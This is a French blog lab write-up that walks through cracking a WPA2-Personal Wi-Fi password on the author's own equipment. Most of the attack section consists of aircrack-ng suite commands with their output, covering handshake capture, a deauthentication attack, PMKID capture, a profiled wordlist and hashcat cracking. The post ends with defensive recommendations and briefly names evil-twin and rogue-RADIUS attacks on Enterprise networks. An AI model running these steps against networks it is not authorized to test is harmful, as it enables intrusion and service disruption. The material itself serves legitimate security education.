Retour au Blog

Lab Wi-Fi : Cracker du WPA2-Personal

Cybersécurité

⚠️ Avertissement Légal et Éthique

Ce contenu est strictement éducatif. Les techniques présentées ne doivent être utilisées que sur des réseaux dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite.

L'accès non autorisé à un réseau informatique est un délit puni par la loi (Article 323-1 du Code pénal français : jusqu'à 2 ans d'emprisonnement et 60 000€ d'amende).

Testez uniquement sur votre propre équipement dans un environnement contrôlé.

📡 Introduction : La réalité du terrain

Sur le papier, le WPA3 devrait avoir rendu ces attaques obsolètes. Ce protocole introduit le Simultaneous Authentication of Equals (SAE), une protection bien plus robuste contre les attaques par dictionnaire.

Mais la réalité est tout autre...

📊 Les chiffres qui surprennent (WiGLE, 2026)

  • ~75% des points d'accès mondiaux utilisent encore WPA2
  • En France, ce chiffre dépasse également les 70%
  • Source : wigle.net/stats

Cette prédominance du WPA2-Personal (PSK) dans les réseaux domestiques et PME, combinée à des mots de passe souvent prévisibles (prénoms, dates de naissance, suites logiques), rend ces réseaux particulièrement vulnérables aux attaques par dictionnaire.

🛠️ Le Lab : Configuration du banc de test

Pour ce lab de penetration testing Wi-Fi, j'ai utilisé le matériel suivant :

🍓
Attaquant

Raspberry Pi 5
Kali Linux ARM
Chipset Broadcom 43455

📶
Point d'Accès

Cisco Small Business
WPA2-Personal (PSK)
Canal 11

📱
Client Cible

Smartphone Android
Connecté au réseau
(pour forcer le handshake)

💡 Note sur le chipset

Le Broadcom 43455 intégré au Raspberry Pi supporte le mode monitor, mais avec quelques limitations. Pour des tests plus avancés, une carte USB externe comme l'Alfa AWUS036ACH est recommandée.

🔧 Étape 1 : Préparation de l'interface

1 Vérification de l'interface Wi-Fi

iw dev
iw : Outil de configuration des interfaces Wi-Fi sous Linux
dev : Affiche les informations sur les périphériques wireless

Résultat attendu :

phy#0 Unnamed/non-netdev interface wdev 0x2 addr d4:3b:8f:21:c5:a9 type P2P-device txpower 31.00 dBm Interface wlan0 ifindex 3 wdev 0x1 addr 9c:6d:f2:a8:47:b1 type managed channel 36 (5180 MHz), width: 20 MHz, center1: 5180 MHz txpower 31.00 dBm

L'interface wlan0 est en mode managed (mode normal). Nous devons la passer en monitor.

2 Vérification des processus interférants

airmon-ng check
airmon-ng : Script de la suite Aircrack-ng pour gérer le mode monitor
check : Liste les processus susceptibles d'interférer
Found 7 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 677 wpa_supplicant 690 dhcpcd 798 NetworkManager 842 wpa_supplicant

3 Activation du mode monitor

airmon-ng check kill
airmon-ng start wlan0
check kill : Tue les processus interférants (NetworkManager, wpa_supplicant)
start wlan0 : Active le mode monitor sur l'interface wlan0
PHY Interface Driver Chipset phy0 wlan0 brcmfmac Broadcom 43455 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0)

L'interface wlan0mon est maintenant créée en mode monitor.

🔍 Étape 2 : Reconnaissance des réseaux

airodump-ng wlan0mon
airodump-ng : Outil de capture et d'analyse des paquets Wi-Fi
wlan0mon : Interface en mode monitor à utiliser

Résultat :

CH 3 ][ Elapsed: 0 s ][ 2026-01-29 03:24 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID A2:7B:C4:9D:E3:01 -52 1 0 0 6 54 . WPA2 CCMP MGT NetCampus-Secure A2:7B:C4:9D:E3:02 -46 2 0 0 6 54 . OPN CampusNet-Open A2:7B:C4:9D:E3:03 -46 2 0 0 6 54 . WPA2 CCMP PSK CampusNet-Private C8:3A:35:2B:9F:D4 -10 7 0 0 11 130 WPA2 CCMP PSK WI-FI_de_Jordao BSSID STATION PWR Rate Lost Frames Notes Probes

📖 Lecture de l'output

  • BSSID : Adresse MAC du point d'accès
  • PWR : Puissance du signal (plus proche de 0 = plus fort)
  • CH : Canal utilisé
  • ENC : Type de chiffrement (WPA2, WPA, OPN...)
  • AUTH : Méthode d'authentification (PSK = Pre-Shared Key, MGT = Enterprise/RADIUS)
  • ESSID : Nom du réseau

On identifie notre cible : WI-FI_de_Jordao (BSSID: C8:3A:35:2B:9F:D4) sur le canal 11 en WPA2-PSK.

Notez que NetCampus-Secure utilise MGT (Management = Enterprise) — nous verrons pourquoi cette cible est beaucoup plus complexe à attaquer.

🤝 Étape 3 : Capture du 4-Way Handshake

Le 4-way handshake est l'échange de 4 messages EAPOL entre le client et le point d'accès lors de la connexion. Il contient les éléments cryptographiques nécessaires pour vérifier un mot de passe hors-ligne.

1 Cibler le réseau et capturer le trafic

airodump-ng -w capturewifi --bssid C8:3A:35:2B:9F:D4 -c 11 wlan0mon
-w capturewifi : Préfixe pour les fichiers de capture (.cap, .csv, .kismet...)
--bssid C8:3A:35:2B:9F:D4 : Filtre sur l'adresse MAC du point d'accès cible
-c 11 : Se concentre sur le canal 11 (plus de précision)
wlan0mon : Interface en mode monitor
CH 11 ][ Elapsed: 0 s ][ 2026-01-29 03:48 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C8:3A:35:2B:9F:D4 -10 100 14 38 0 11 130 WPA2 CCMP PSK WI-FI_de_Jordao BSSID STATION PWR Rate Lost Frames Notes Probes C8:3A:35:2B:9F:D4 F8:B2:4A:1C:D7:93 -35 0e- 1 22 56

On voit un client connecté (STATION: F8:B2:4A:1C:D7:93). Nous pouvons forcer sa déconnexion pour capturer le handshake lors de sa reconnexion.

2 Attaque de désauthentification

Dans un second terminal, lancez l'attaque deauth :

aireplay-ng --deauth 10 -a C8:3A:35:2B:9F:D4 -c F8:B2:4A:1C:D7:93 wlan0mon
--deauth 10 : Envoie 10 paquets de désauthentification (0 = infini)
-a C8:3A:35:2B:9F:D4 : Adresse MAC du point d'accès (AP)
-c F8:B2:4A:1C:D7:93 : Adresse MAC du client à déconnecter
wlan0mon : Interface en mode monitor
03:49:43 Waiting for beacon frame (BSSID: C8:3A:35:2B:9F:D4) on channel 11 03:49:44 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [ 0| 2 ACKs] 03:49:44 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [ 0| 7 ACKs] 03:50:03 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [33|147 ACKs] 03:50:15 Sending 64 directed DeAuth (code 7). STMAC: [F8:B2:4A:1C:D7:93] [15|96 ACKs]

3 Confirmation de la capture

Retournez au premier terminal. Quand le handshake est capturé, vous verrez :

03:49:10 Created capture file "capturewifi-01.cap". CH 11 ][ Elapsed: 1 min ][ 2026-01-29 03:50 ][ WPA handshake: C8:3A:35:2B:9F:D4 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C8:3A:35:2B:9F:D4 -10 100 496 17 0 11 130 WPA2 CCMP PSK WI-FI_de_Jordao BSSID STATION PWR Rate Lost Frames Notes Probes C8:3A:35:2B:9F:D4 F8:B2:4A:1C:D7:93 -39 1e- 1 424 227

✅ Handshake capturé !

Le message [ WPA handshake: C8:3A:35:2B:9F:D4 ] confirme la capture. Le fichier capturewifi-01.cap contient maintenant le handshake.

⚡ Alternative : Attaque PMKID (sans client)

L'attaque PMKID (découverte en 2018) permet de récupérer un hash sans avoir besoin d'un client connecté ni de capturer un handshake complet. Elle exploite le premier message EAPOL envoyé par l'AP.

🔬 Pourquoi c'est puissant ?

  • Pas besoin d'attendre qu'un client se connecte
  • Pas besoin d'attaque de désauthentification
  • Plus discret (moins de trafic anormal)

Avec Wifite, l'attaque PMKID est tentée automatiquement :

wifite --dict ./wordlist.txt
wifite : Outil automatisé qui combine plusieurs attaques Wi-Fi
--dict ./wordlist.txt : Dictionnaire à utiliser pour le cracking
. . .´ · . . · `. wifite2 2.8.1 : : : (¯) : : : a wireless auditor by derv82 `. · ` /¯\ ´ · .´ maintained by kimocoder NUM ESSID CH ENCR PWR WPS CLIENT --- ------------------------- --- ----- ---- --- ------ 1 WI-FI_de_Jordao 11 WPA2-P 89db no 4 NetCampus-Secure 6 WPA2-E 50db no [+] Select target(s) (1-8) separated by commas, dashes or all: 1 [+] (1/1) Starting attacks against C8:3A:35:2B:9F:D4 (WI-FI_de_Jordao) [+] WI-FI_de_Jordao (89db) PMKID CAPTURE: Waiting for PMKID (4m43s)

Si le PMKID n'est pas disponible, Wifite basculera automatiquement sur la capture de handshake classique.

📝 Étape 4 : Génération d'un dictionnaire ciblé

CUPP (Common User Passwords Profiler) permet de générer des wordlists personnalisées basées sur des informations connues de la cible.

cupp -i
cupp : Générateur de wordlists personnalisées
-i : Mode interactif (questions-réponses)
[+] Insert the information about the victim to make a dictionary [+] If you don't know all the info, just hit enter when asked! ;) > First Name: Jordao > Surname: Mbambu > Birthdate (DDMMYYYY): 01012026 > Do you want to add special chars at the end of words? Y/[N]: Y [+] Saving dictionary to jordao.txt, counting 3006 words. [+] Now load your pistolero with jordao.txt and shoot! Good luck!

Ce dictionnaire de ~3000 mots contient des combinaisons basées sur le prénom, nom, surnom et date de naissance avec variations (majuscules, chiffres, caractères spéciaux).

🔓 Étape 5 : Cracking avec Aircrack-ng

aircrack-ng capturewifi-01.cap -w jordao.txt
aircrack-ng : Outil de cracking WPA/WPA2
capturewifi-01.cap : Fichier de capture contenant le handshake
-w jordao.txt : Wordlist à utiliser pour l'attaque par dictionnaire
Read 847 packets. 1 C8:3A:35:2B:9F:D4 WI-FI_de_Jordao WPA (1 handshake) [00:00:14] 2980/3007 keys tested (206.96 k/s) KEY FOUND! [ Jordao2026! ] Master Key : 1F 22 13 17 E9 40 7E 73 9E B1 A8 2E 5F 75 A7 83 EAPOL HMAC : F0 48 68 DA 98 58 74 C7 2C EE EA BD A0 61 8A 92

✅ Mot de passe trouvé !

KEY FOUND! [ Jordao2026! ]

Le mot de passe a été trouvé en 14 secondes parmi 3007 candidats. Un mot de passe prévisible (prénom + année + caractère spécial) a été cracké facilement.

🚀 Alternative : Cracking avec Hashcat (GPU)

Hashcat exploite la puissance des GPU pour accélérer considérablement le cracking. Il supporte le format hc22000 pour WPA/WPA2.

1 Conversion du fichier .cap

hcxpcapngtool -o hash.hc22000 capturewifi-01.cap
hcxpcapngtool : Convertit les captures en format hashcat
-o hash.hc22000 : Fichier de sortie au format hc22000
capturewifi-01.cap : Fichier de capture source

2 Cracking avec GPU

hashcat -m 22000 hash.hc22000 wordlist.txt -d 1
hashcat : Outil de cracking haute performance
-m 22000 : Mode WPA-PBKDF2-PMKID+EAPOL
hash.hc22000 : Fichier de hash à cracker
wordlist.txt : Dictionnaire
-d 1 : Utilise le device GPU #1

⚡ Performance

Avec une carte graphique moderne (RTX 3070+), hashcat peut tester des millions de mots de passe par seconde contre quelques centaines pour aircrack-ng sur CPU.

🤖 Méthode Automatisée : Wifite

Wifite automatise l'ensemble du processus : scan, capture PMKID, capture handshake, desauth, et cracking.

wifite --dict ./jordao.txt
[+] WI-FI_de_Jordao (89db) WPA Handshake capture: Captured handshake [+] Cracking WPA/WPA2 Handshake: Running Hashcat with jordao.txt wordlist [+] Cracked WPA/WPA2 Handshake Key: Jordao2026! [+] Access Point Name: WI-FI_de_Jordao [+] Access Point BSSID: C8:3A:35:2B:9F:D4 [+] PSK (password): Jordao2026!

🏢 Pourquoi WPA-Enterprise résiste à ces attaques

Durant mon scan, j'ai repéré NetCampus-Secure avec AUTH: MGT (Management = Enterprise). Pourquoi ces techniques échouent-elles sur ce type de réseau ?

Aspect WPA2-Personal (PSK) WPA2-Enterprise (RADIUS)
Authentification Mot de passe partagé unique Identifiants individuels par utilisateur
Clé de session Dérivée du PSK (identique pour tous) Unique par session, générée par RADIUS
Attaque dictionnaire ✅ Possible (handshake capturé) ❌ Impossible (pas de hash exploitable)
Attaque PMKID ✅ Possible ❌ Impossible
Compromission 1 mot de passe = tout le réseau 1 compte = 1 utilisateur (révocable)

🔐 J'ai configuré du WPA-Enterprise dans mon projet précédent

Dans le cadre de la modernisation d'une infrastructure réseau, j'ai déployé un Wi-Fi "Privé" en WPA3-Enterprise avec authentification RADIUS (NPS) liée à l'Active Directory.

Cette configuration rend les attaques présentées dans cet article totalement inefficaces.

🎯 Prochaines étapes : Attaquer le WPA-Enterprise ?

Auditer un réseau WPA-Enterprise nécessite des techniques plus avancées :

  • Rogue AP / Evil Twin : Créer un faux point d'accès pour intercepter les tentatives de connexion
  • Rogue RADIUS : Simuler un serveur RADIUS pour capturer les identifiants
  • Interception de certificats : Exploiter les clients qui ne valident pas correctement les certificats du serveur RADIUS
  • Attaques sur PEAP/MSCHAPv2 : Capturer les challenges-responses et tenter de les cracker

Ces techniques feront l'objet d'un prochain article...

✅ Conclusion

Ce lab démontre que le WPA2-Personal reste vulnérable aux attaques par dictionnaire, surtout avec des mots de passe prévisibles. Quelques recommandations :

  • Utilisez des mots de passe longs et aléatoires (20+ caractères)
  • Préférez WPA3 si vos équipements le supportent
  • Pour les entreprises : WPA2/WPA3-Enterprise avec RADIUS
  • Activez le Management Frame Protection (MFP/802.11w) pour bloquer les attaques deauth